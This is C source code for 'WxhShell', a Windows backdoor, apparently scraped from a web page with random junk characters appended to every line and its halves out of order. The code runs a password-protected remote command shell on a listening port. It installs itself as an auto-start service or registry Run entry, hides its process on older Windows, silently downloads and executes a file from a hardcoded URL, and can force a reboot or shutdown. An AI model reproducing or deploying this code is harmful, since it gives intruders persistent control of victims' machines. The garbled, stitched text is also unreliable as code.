    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NaVQ9ku7VW  
    else { F(4?tX T  
    closesocket(wsh); ,fK3ZC  
    ExitThread(0); lzw3=H  
    } ,NnhHb2\  
    break; rG#Z=*b%  
    } /? r?it  
  // 获取shell >AoK/(yL.  
  case 's': { L;gO;vO  
    CmdShell(wsh); Cm$.<CV  
    closesocket(wsh); gu#-O?B  
    ExitThread(0); mj|)nOd  
    break; j4?@(u9;j  
  } q@b|F-  
  // 退出 \V9Z #>  
  case 'x': { VrZ>bma;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "UEv&mQ  
    CloseIt(wsh); 9lB]~,z  
    break; T\Uek-(  
    } d(g^M1 m  
  // 离开 F+E|r6'i  
  case 'q': { *f,DhT/P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iX0iRC6f  
    closesocket(wsh); u6`=x$&  
    WSACleanup(); xs\!$*R  
    exit(1); fc/ &X  
    break; ? uYu`Ojzr  
        } .(pN5JI*  
  } Q{k At%  
  }  Z%I  
;'81jbh  
  // 提示信息 f|y:vpd%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J=pztASt  
} V9ssH87#  
  } lKEkXO  
;7N Z<k  
  return; AuR$g7z  
} n@ w^ V   
V([~r,  
// shell模块句柄 kdb(I@6  
int CmdShell(SOCKET sock) F4<O2!V  
{ ?<G]&EK~~]  
STARTUPINFO si; e/->_T(I  
ZeroMemory(&si,sizeof(si)); -P&6L\V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Lm@vXgMD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "V&+7"Q  
PROCESS_INFORMATION ProcessInfo; `"qP  
char cmdline[]="cmd"; ^F:k3,_[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DE2a5+^  
  return 0; @ym/27cRE  
} ^z,_+},a3T  
iCHt1VV]  
// 自身启动模式 Bi@&nAhn@  
int StartFromService(void) upeU52@\  
{ C7H/N<VAq  
typedef struct DJP2IP  
{ -hkQ2[Ew#  
  DWORD ExitStatus;  [ `]4P&  
  DWORD PebBaseAddress; $9S(_xdI&  
  DWORD AffinityMask; Y?ez9o:/#  
  DWORD BasePriority; Rq[ M29  
  ULONG UniqueProcessId; R\XKMF3mN3  
  ULONG InheritedFromUniqueProcessId; CgzD$`~  
}   PROCESS_BASIC_INFORMATION; y^]tahbo  
u_7~TE3W  
PROCNTQSIP NtQueryInformationProcess; *>VVt8*Et  
YC_1Ks  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &W f3~hmo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >5Wlc$bc  
SZJ$w-<z  
  HANDLE             hProcess; z<.?x%4O  
  PROCESS_BASIC_INFORMATION pbi; )[1)$-Ru  
f]7M'sy|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \,J/ r!  
  if(NULL == hInst ) return 0; = waA`Id  
F @Te@n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  iD= p\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >Z1q j>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &qS[%K )  
w`l{LHrR  
  if (!NtQueryInformationProcess) return 0; y>*xVK{D  
S$2b>#@UJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K(XN-D/c  
  if(!hProcess) return 0; W+*5"h  
*m2=/Sh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *Z_C4Tj  
,t)x{I;C)  
  CloseHandle(hProcess); U35AX9/  
\;rYo.+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3=W!4  
if(hProcess==NULL) return 0; ;(}V"i7Hu  
5wUUx#  
HMODULE hMod; ?8W( "W   
char procName[255]; g#]wLm#  
unsigned long cbNeeded; @y31NH(  
,RN:^5 p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "QvmqI>  
QMEcQV>  
  CloseHandle(hProcess); >AJSqgHQ,  
S~]mWxgZ  
if(strstr(procName,"services")) return 1; // 以服务启动 XT;u<aJs  
=V"(AuCVE  
  return 0; // 注册表启动 tl'n->G>v  
} C{2xHd/*  
m!U9m  
// 主模块 oA1a/[#  
int StartWxhshell(LPSTR lpCmdLine) inlk++Og  
{ "(qw-kil  
  SOCKET wsl; fABe  
BOOL val=TRUE; fr!Pj(Q1  
  int port=0; Py{ <bd  
  struct sockaddr_in door; (MHAJ]Rx  
d6i6hcQE  
  if(wscfg.ws_autoins) Install(); cWajrLw  
GUQ{r!S  
port=atoi(lpCmdLine); 4Z|vnj)Z  
~SSU`  
if(port<=0) port=wscfg.ws_port; "`asF g  
1He{v#  
  WSADATA data; @AYRiOodi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l|5fE1K9U  
;\MW$/[JCy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [%&ZPJT%i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); % >;#9"O4  
  door.sin_family = AF_INET; XR!us/U`a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n<B<93f/  
  door.sin_port = htons(port); /pp1~r.s?>  
zXsc1erli  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oq*N_mP0  
closesocket(wsl); UJs$q\#RO  
return 1; } G<rt  
} ?aW^+3i  
<LRey%{q  
  if(listen(wsl,2) == INVALID_SOCKET) { WMMO5_M z  
closesocket(wsl); jjM{]  
return 1; aTBR|U S  
} ,C {*s$  
  Wxhshell(wsl); f3|@|' ;  
  WSACleanup(); ?uMQP NYs  
{D g_?._d  
return 0;  &QNWL]  
l1]p'Liuu  
}  s}onsC  
dJ?XPo"Cm=  
// 以NT服务方式启动 y< C<_2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cQ:"-!ff  
{ gT/@dVV  
DWORD   status = 0; n[YEOkiG  
  DWORD   specificError = 0xfffffff; yz2Ci0Dwy  
XhsTT2B   
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~ 8aJ S,u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X0*QV- RN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nL:SG{7  
  serviceStatus.dwWin32ExitCode     = 0; LK"  bC  
  serviceStatus.dwServiceSpecificExitCode = 0; fIGFHZy,  
  serviceStatus.dwCheckPoint       = 0; e|4&b@  
  serviceStatus.dwWaitHint       = 0; >MJg ,  
LW:o8ES33  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [31p&FxM  
  if (hServiceStatusHandle==0) return; 4d:{HLX,  
PR|R`.QSs  
status = GetLastError(); ,#W  
  if (status!=NO_ERROR) 5<L_|d)0"  
{ D#S\!>m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6!^[];%xN  
    serviceStatus.dwCheckPoint       = 0; #0 6-:  
    serviceStatus.dwWaitHint       = 0; Q%aU42?_1  
    serviceStatus.dwWin32ExitCode     = status; !.1%}4@Q]  
    serviceStatus.dwServiceSpecificExitCode = specificError; NA,C Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :fk2]{KTL  
    return;  '8j$';&`  
  } HG'{J^t  
7*DMVok:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1}ZKc=Pfu  
  serviceStatus.dwCheckPoint       = 0; `pd&se'p  
  serviceStatus.dwWaitHint       = 0; Yl;^ k0ZI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w;v7_  
} d*pF>j  
wB>r (xQ'  
// 处理NT服务事件,比如:启动、停止 L!_ZY  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  ;v  
{ jEXW  
switch(fdwControl) DP/J (>eG  
{ $hxN hI  
case SERVICE_CONTROL_STOP: }bU8G '  
  serviceStatus.dwWin32ExitCode = 0; /MQU >&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; VDB;%U*D  
  serviceStatus.dwCheckPoint   = 0; oPc\<$  
  serviceStatus.dwWaitHint     = 0; sS TPMh  
  { aAu>Tn86D.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -yDs< Xl  
  } .k4W_9  
  return; Mz I q"3  
case SERVICE_CONTROL_PAUSE: e4OeoQ@ >  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _ .i3,-l)  
  break; ;d$qc<2uA  
case SERVICE_CONTROL_CONTINUE: VGL#!4wK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~"Gf<3^y+  
  break; d7Ur$K\=y  
case SERVICE_CONTROL_INTERROGATE: FZiW|G  
  break; A|}l)!%  
}; '2zL.:~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2}?wYI*:5|  
} l:]Nn%U(>  
~8|t*@D  
// 标准应用程序主函数 Ff^@~X+W<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p#f+P?  
{ AGA`fRVx  
=OJ;0 /$6  
// 获取操作系统版本 ,a?\M M9$  
OsIsNt=GetOsVer(); 1p`+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SvvUkQ#1w  
TgU**JN)  
  // 从命令行安装 <*H^(0  
  if(strpbrk(lpCmdLine,"iI")) Install(); uR6w|e`  
t]1ubt2W  
  // 下载执行文件 T2 ?HRx  
if(wscfg.ws_downexe) { f^e6<5gdf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^5=UK7e5KY  
  WinExec(wscfg.ws_filenam,SW_HIDE); sM1RU  
} EPW7+Ve  
*s}|Hy  
if(!OsIsNt) { o  A* G  
// 如果时win9x,隐藏进程并且设置为注册表启动 g=}v>[k E  
HideProc(); J` { 6l  
StartWxhshell(lpCmdLine); +a= 0\lpOy  
} #n\C |  
else O$`UCq  
  if(StartFromService()) x}$e}8|8YL  
  // 以服务方式启动 *p ? e.%nd  
  StartServiceCtrlDispatcher(DispatchTable); }W)=@t  
else ~`Qko-a&  
  // 普通方式启动 M^rM-{?<  
  StartWxhshell(lpCmdLine); >95TvJ  
Hg}I]!B  
return 0; +w| 9x.&W  
} V's:>;  
XC15K@K  
vjViX<#(V  
puJ#w1!x`  
=========================================== !/K8xD$  
:<#`_K~'  
7dh1W@\  
~$O1`IT  
09M;}4ev&7  
o7&4G$FX~  
" Jeqxspn T  
%>Xr5<$:&  
#include <stdio.h> -U2mfW  
#include <string.h> sPNfbCOz  
#include <windows.h> j_?cpm{~ml  
#include <winsock2.h> )He#K+[}^4  
#include <winsvc.h> fm1X1T.  
#include <urlmon.h> dw@E)  
]8U ~Iy  
#pragma comment (lib, "Ws2_32.lib") . ,NB( s`  
#pragma comment (lib, "urlmon.lib") KiLvI,9y  
z)F#u:t  
#define MAX_USER   100 // 最大客户端连接数 `NwdbKX  
#define BUF_SOCK   200 // sock buffer juToO  
#define KEY_BUFF   255 // 输入 buffer w5]"ga>Y  
Tc ZnmN  
#define REBOOT     0   // 重启 w'Z!;4E0  
#define SHUTDOWN   1   // 关机 7x.%hRk  
^>~dlS  
#define DEF_PORT   5000 // 监听端口 !^U6Z@&/R  
{j(4m  
#define REG_LEN     16   // 注册表键长度 X7aXxPCq1  
#define SVC_LEN     80   // NT服务名长度 ](r ^.k,R  
OsW"CF2  
// 从dll定义API TW`mxj_J2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5!fSW2N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #G _/.h@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x;$|#]+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <Mgf]v.QS  
~] =?b)B  
// wxhshell配置信息 ||TtNH  
struct WSCFG { [h}K$q  
  int ws_port;         // 监听端口 vW.%[]  
  char ws_passstr[REG_LEN]; // 口令 Oo%!>!Lt,  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3 %(Y$8U  
  char ws_regname[REG_LEN]; // 注册表键名 EHf)^]Z  
  char ws_svcname[REG_LEN]; // 服务名 rFag@Z"["  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #!!AbuhzK{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >.dHt\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4E"d/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y4~vC[$ x'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'ND36jHcRD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I"!'AI-  
#0MK(Ut/  
}; `6 Y33bQ  
xcSR{IZ  
// default Wxhshell configuration >7-y#SkXdo  
struct WSCFG wscfg={DEF_PORT, ./maY1>T  
    "xuhuanlingzhe", 9EgP9up{6!  
    1, {Qtq7q.  
    "Wxhshell", jW5iqU"{*  
    "Wxhshell", +BB0wY  
            "WxhShell Service", eYP=T+  
    "Wrsky Windows CmdShell Service", @[r={s\  
    "Please Input Your Password: ", dt-K  
  1, QJ<[Zx  
  "http://www.wrsky.com/wxhshell.exe", n!.2aq  
  "Wxhshell.exe" t!l%/$-  
    }; :4;S"p  
u7k|7e=xk  
// 消息定义模块 Jirct,k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4]6Qr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &G{2s J5{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HCc`  
char *msg_ws_ext="\n\rExit."; EODB`$+  
char *msg_ws_end="\n\rQuit."; ZH-5 Qy_  
char *msg_ws_boot="\n\rReboot..."; *caLN,G  
char *msg_ws_poff="\n\rShutdown..."; M'u=H  
char *msg_ws_down="\n\rSave to "; CX+9R3pa  
g3rRhS  
char *msg_ws_err="\n\rErr!"; ltEF:{mLe#  
char *msg_ws_ok="\n\rOK!"; {'IFWD.5  
N#Ag'i4HF  
char ExeFile[MAX_PATH]; GoeIjuELR  
int nUser = 0; 7Dl%UG]  
HANDLE handles[MAX_USER]; <ZrFOb  
int OsIsNt; gB+ G'I  
UvD-C?u'  
SERVICE_STATUS       serviceStatus; IxP^i{/1?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9-- dRTG  
:VFTVmr  
// 函数声明 b?k4InXh  
int Install(void); ]31$KBC  
int Uninstall(void); >ITEd  
int DownloadFile(char *sURL, SOCKET wsh); nO_!:6o".  
int Boot(int flag); }N|\   
void HideProc(void); u{+!& 2}k  
int GetOsVer(void); 6^ik|k|  
int Wxhshell(SOCKET wsl); DQ5W6W  
void TalkWithClient(void *cs); 6K// 1U$  
int CmdShell(SOCKET sock); Q [:<S/w  
int StartFromService(void); R9=K(pOT  
int StartWxhshell(LPSTR lpCmdLine); e`ex]py<C  
.Cfp'u%\;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T&4fBMBp,%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j)Lo'&Y~=  
;@!;1KDy  
// 数据结构和表定义 VKf6|ae  
SERVICE_TABLE_ENTRY DispatchTable[] = #ko6L3Pi  
{ sy.:T]ZH  
{wscfg.ws_svcname, NTServiceMain}, ".M:`BoW4  
{NULL, NULL} 28+HKbgK  
}; @H4wHlb  
z `@z  
// 自我安装 82 .HH5Z{  
int Install(void) gUb "3g0  
{ w 06gY  
  char svExeFile[MAX_PATH]; #W^_]Q=5R'  
  HKEY key; \d5}5J]a&n  
  strcpy(svExeFile,ExeFile); Fva]*5  
&[)D]UL  
// 如果是win9x系统,修改注册表设为自启动 9F)W19i.  
if(!OsIsNt) { uH] m]t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XC}1_VWs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :3gFHBFDj  
  RegCloseKey(key); (k#t }B[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { * 2%oZX F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [U']kt  
  RegCloseKey(key); UhBz<>i;!  
  return 0; 'v+96b/;  
    } /=- h:0{M  
  } 8'% +G  
} 'rh\CA/}D  
else { m>O2t-  
ZZwBOGVU  
// 如果是NT以上系统,安装为系统服务 >E~~7Yal  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g6`.qyVfz'  
if (schSCManager!=0) bx]1 4}6  
{ \aB&{`iG  
  SC_HANDLE schService = CreateService VHj*aBHB  
  ( kw;wlFU;  
  schSCManager, (Otur  
  wscfg.ws_svcname, v<`$bvv?  
  wscfg.ws_svcdisp, Pd,!&  
  SERVICE_ALL_ACCESS, $4: ~* IQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XC2Q*Z  
  SERVICE_AUTO_START, ]Qc: Zy3  
  SERVICE_ERROR_NORMAL, ',%5mF3j  
  svExeFile, b2W;|  
  NULL, J:[3;Z  
  NULL, G*=H;Upi  
  NULL, 4(;20(q]  
  NULL, CCy .  
  NULL #-A5Z;TD.  
  ); E8 \\X  
  if (schService!=0) wb@]>MJ}[s  
  { 6XZN>#  
  CloseServiceHandle(schService); .GtINhz*  
  CloseServiceHandle(schSCManager); w[|y0jtw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r*>QT:sB  
  strcat(svExeFile,wscfg.ws_svcname); iAg}pwU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NrW[Q 3E$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JfR kp  
  RegCloseKey(key); Zq9>VqGe  
  return 0; ?9CIWpGjU  
    } Mc.^s  
  } [!5l0{0  
  CloseServiceHandle(schSCManager); z{AM2Z  
} })q]g Mj  
} )~G8 LZ  
NCp%sGBmG  
return 1; x9 TuweG  
} cFe V?a  
YqkA&qL]#;  
// 自我卸载 @RQ+JYQi  
int Uninstall(void) :E}6S  
{ "hz>{oe  
  HKEY key; i^~sn `o  
v)TUg0U=,  
if(!OsIsNt) {  $.=5e3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g+VRT, r  
  RegDeleteValue(key,wscfg.ws_regname); +~@7" |d  
  RegCloseKey(key); tYF$#Nor#k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K T%i,T  
  RegDeleteValue(key,wscfg.ws_regname); x!Y(Y=i>  
  RegCloseKey(key); wbo{JQ  
  return 0; tP -5  
  } % 1OC#&  
} hwc:@'  
} tvv[$ b&  
else { ]Pz|Oi+]  
5Gc_LI&v7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); oXvdR(Sb^  
if (schSCManager!=0) ik8|9m4/  
{ 3{6ps : w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o$*bm6o  
  if (schService!=0) Q=dw 6  
  { oA5<[&~<  
  if(DeleteService(schService)!=0) { A3m{jbh  
  CloseServiceHandle(schService); q|?`Gsr  
  CloseServiceHandle(schSCManager); 8|fLe\"  
  return 0; D<lQoO+  
  } Cln^1N0  
  CloseServiceHandle(schService); NU BpIx&  
  } 5+o 2 T]  
  CloseServiceHandle(schSCManager); VZAuUw+M  
} R994R@gz  
} 't||F1X~J  
>|y>e{P  
return 1; F0X5dv  
} "v*oga%  
+d|:s  
// 从指定url下载文件 3Pw %[q=g  
int DownloadFile(char *sURL, SOCKET wsh) 9;}L{yve  
{ "TEBByO'  
  HRESULT hr; W9:fKP  
char seps[]= "/"; $K5ni{M;  
char *token; 7[(Lrx.pM  
char *file; * [iity  
char myURL[MAX_PATH]; `two|gX0K  
char myFILE[MAX_PATH]; IptB.bYc  
^\xCqVk_R  
strcpy(myURL,sURL); FF5tPHB  
  token=strtok(myURL,seps); 6:e}v'q{  
  while(token!=NULL) z_5rAlnwT.  
  { WV5r$   
    file=token; |_xZ/DT  
  token=strtok(NULL,seps); ]b5%?^Z#  
  } m~A[V,os  
R (+h)#![  
GetCurrentDirectory(MAX_PATH,myFILE); =vB]*?;9  
strcat(myFILE, "\\"); 3t J=d'U  
strcat(myFILE, file); !y[}|  
  send(wsh,myFILE,strlen(myFILE),0); z(8)1#(n7  
send(wsh,"...",3,0); h0'8NvalQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dm/-}  
  if(hr==S_OK) LC~CPV'F  
return 0; tuL\7 (R  
else  hg<"Yg=  
return 1; cij]&$;Q  
K|P9uHD  
} uK+9gTv  
\;A50U|r  
// 系统电源模块 # CP9^R S  
int Boot(int flag) 7UeE(=Hr5  
{ ,n /SDEL  
  HANDLE hToken; 1Xk{(G<\  
  TOKEN_PRIVILEGES tkp; c+)36/; X  
kMfc"JXF  
  if(OsIsNt) { =%:n0S0C"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'qD'PLV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wR 5\^[GN  
    tkp.PrivilegeCount = 1; .b!OZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j\i;'t}8g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (1saof *p%  
if(flag==REBOOT) { !;xf>API  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A1#4nkkc9  
  return 0; [RGC!}"mr  
} E< io^  
else { \FY/eQ*07  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0XBBA0t q  
  return 0; \UkNE5  
} Pl>nd)i`  
  } d=xI   
  else { |ec(z  
if(flag==REBOOT) { qY*%p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T_5*iwI  
  return 0; ~#IWM+I  
} >uP{9kDm  
else { |g: '')>[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X-*KQ+ ?  
  return 0; &"~,V6,q  
} .&* ({UM  
} mlsvP%[f.  
vkNZ -`+I  
return 1; IxK 3,@d  
} n;S0fg  
eY6gb!5u  
// win9x进程隐藏模块 @SF" )j|  
void HideProc(void) 9}'l=b:Jms  
{ WNF=NNO-R  
W_e-7=6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'aSZ!R  
  if ( hKernel != NULL ) @vQ;>4i.  
  { wt_?B_nR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nkr,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OW[/%U>  
    FreeLibrary(hKernel); 0s+rd&  
  } WL]Wu.k  
)M|O;~q  
return; ^Xt]wl*]+  
} fed[^wW  
`0n 7Cyed  
// 获取操作系统版本 ]6i_d  
int GetOsVer(void) ~PH1|h6  
{ E:dT_x<Y  
  OSVERSIONINFO winfo; #Kb)>gzT  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I2Or& _  
  GetVersionEx(&winfo); $fj"*   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Hjo:;s  
  return 1; RJ`/qXL  
  else ^~YmLI4  
  return 0; 7y)|^4X2  
} :`Zl\!]E`o  
$+)x)1  
// 客户端句柄模块 t<EX#_i,  
int Wxhshell(SOCKET wsl) /FNj|7s  
{ C7fi1~  
  SOCKET wsh; !kHyLEV  
  struct sockaddr_in client; 8YJqM,t5)  
  DWORD myID; u6bB5(s`&  
s6eq?1l 3  
  while(nUser<MAX_USER) CpP$HrQ  
{ B 3,ig9  
  int nSize=sizeof(client); Fm[?@Z&wP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Vqv2F @.  
  if(wsh==INVALID_SOCKET) return 1; E%J7jA4  
{ZBb. $}RC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yW6[Fpw  
if(handles[nUser]==0) a s<q  
  closesocket(wsh); !!D:V`F/d  
else ytBxe]  
  nUser++; yrK--C8  
  } 5  a*'N~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Um0<I)  
V;(*\"O  
  return 0; Jj^<:t5{rN  
} 4{;8 ]/.a  
H$qdU!c  
// 关闭 socket DT7-v4Zd  
void CloseIt(SOCKET wsh) T$8$9D_u  
{ mG8  
closesocket(wsh);  qzU2H  
nUser--; ;Cp/2A}Xx  
ExitThread(0); M@LaD 5  
} N- ?|]4e/  
4[f7X4d$  
// 客户端请求句柄 Pi]s<3PL  
void TalkWithClient(void *cs) #*;fQ&p  
{ t73Z3M  
scPq\Qd?O  
  SOCKET wsh=(SOCKET)cs; % &Q7;?  
  char pwd[SVC_LEN]; w$_'xX(  
  char cmd[KEY_BUFF]; E*!zJ,@8  
char chr[1]; *IO;`k q,;  
int i,j; k @/SeE  
'm p{O  
  while (nUser < MAX_USER) { .5Z@5g`  
3vGaT4TDx  
if(wscfg.ws_passstr) { z&HN>7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2O)Kn q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'y@ 2,9v  
  //ZeroMemory(pwd,KEY_BUFF); m*Lv,yw %a  
      i=0; `))J8j"  
  while(i<SVC_LEN) { KlX |PQ  
bEXHB  
  // 设置超时 I>4Tbwy.-  
  fd_set FdRead; "j@IRuH  
  struct timeval TimeOut; jiB>.te  
  FD_ZERO(&FdRead); {HJ`%xN|  
  FD_SET(wsh,&FdRead); 3b[[2x_UU  
  TimeOut.tv_sec=8; {pJ@I=q  
  TimeOut.tv_usec=0; <n2{+eO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I9j+x ])  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fM[fS?W  
kKk |@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +q, n}@y=  
  pwd=chr[0]; nR|LV'(  
  if(chr[0]==0xd || chr[0]==0xa) { 'hHX"\|RA  
  pwd=0; `GN5QLg#}0  
  break; GHsdLe=t0#  
  } !vo'8r?&  
  i++; [F-u'h< *l  
    } >p#d;wK4_  
U@t?jTMBkO  
  // 如果是非法用户,关闭 socket 2D_Vo ])l/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tS/APSY  
} SIBIh-L  
[,?A$Z*Z|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f+88R=-u6S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .$s|T  
nF y7gA|  
while(1) { PNxO \Rc  
%<*pM@  
  ZeroMemory(cmd,KEY_BUFF); E$yf2Q~k  
JP% ;rAoJ  
      // 自动支持客户端 telnet标准   )*<d1$aM  
  j=0; g8qAJ4  
  while(j<KEY_BUFF) { 8{=( #]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7/$Z7J!k  
  cmd[j]=chr[0]; (a4y1k t-  
  if(chr[0]==0xa || chr[0]==0xd) { J3}C T  
  cmd[j]=0; exMPw ;8  
  break; y42T.oK8c  
  } o6yZ@R  
  j++; q>lkLHS  
    } C]cT*B^  
a ZCZ/  
  // 下载文件 T[9jTO?W2  
  if(strstr(cmd,"http://")) { 2i'-lM=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); btz3f9  
  if(DownloadFile(cmd,wsh)) ,?N_67  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V`&*%xgGR  
  else l{SPV8[i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^WYG?/{4  
  } !Fs) "?  
  else { Z42Suy  
r\- k/0  
    switch(cmd[0]) { 0lq4   
  M#<fh:>  
  // 帮助 ZaV66Y>  
  case '?': { !_z>w6uR  
